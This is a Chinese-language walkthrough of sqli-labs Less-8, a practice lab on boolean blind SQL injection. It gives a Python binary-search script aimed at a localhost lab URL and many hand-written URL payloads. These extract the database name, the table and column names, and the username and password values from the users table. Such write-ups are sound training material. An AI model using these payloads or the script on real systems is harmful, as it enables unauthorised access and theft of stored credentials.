SQL注入漏洞解析-less-8(布尔盲注)

我们来看一下第八关

当我们进行尝试时，他只有You are in...........或者没有显示。

他只有对和错显示，那我们只能用对或者错误来猜他这个数据库

?id=1%27%20and%20ascii(substr(database(),1,1))>114--+

?id=1%27%20and%20ascii(substr(database(),1,1))>115--+

我用ascii码https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Posthttps://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Post来猜，用substr来截取他的第一个字段，如果我猜对了，他就正常显示，如果我猜错了，他就没有显示，就像上边的，当我猜到第114个时显示正常，当为115时没有显示，说明我就猜出来他的第一个字段的ASCII是115,然后在对照查询ASCII表就能找出来以此类推，就能猜出来，但是这样效率太低，所以写一个脚本来执行：

import requests
 
def inject_database(url):
    name=""
    for i in range(1,20):
        low =32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url,params=params)
            if 'You are in...........' in r.text:
                 low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name += chr(mid)
        print(name)
if __name__=="__main__":
    url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php'
    inject_database(url)

最后注入出了数据库名称，后边的就是表和列的查询，和之前的都一样，只不过这里是要用ASCII码来猜而已，就是有点慢。

第二种就是手动测试：

行爆库（）

?id=1' and (length(database())) = 8 --+

爆库（security）

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

 首先判断表的长度

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))  = 6 --+ （此时字段长度为6就是6个字符）此时是第一个表

我们要判断第四个表的

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))  = 5 --+  //字段长度为5（users）

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))) = 117--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),2,1))) = 115--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),3,1))) = 101--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),4,1))) = 114--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),5,1))) = 115--+

爆字段

?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=117 --+ 爆的i
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1) ,1,1)))  = 112 --+  爆的p

爆数据

username

?id=1' and (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select username from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select username from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select username from users limit 0,1),4,1))) = 112 --+

password

?id=1' and (ascii(substr((select password from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select password from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select password from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select password from users limit 0,1),4,1))) = 112 --+

就这样一个一个爆，出来之后在对照ASCII码表就能查出数据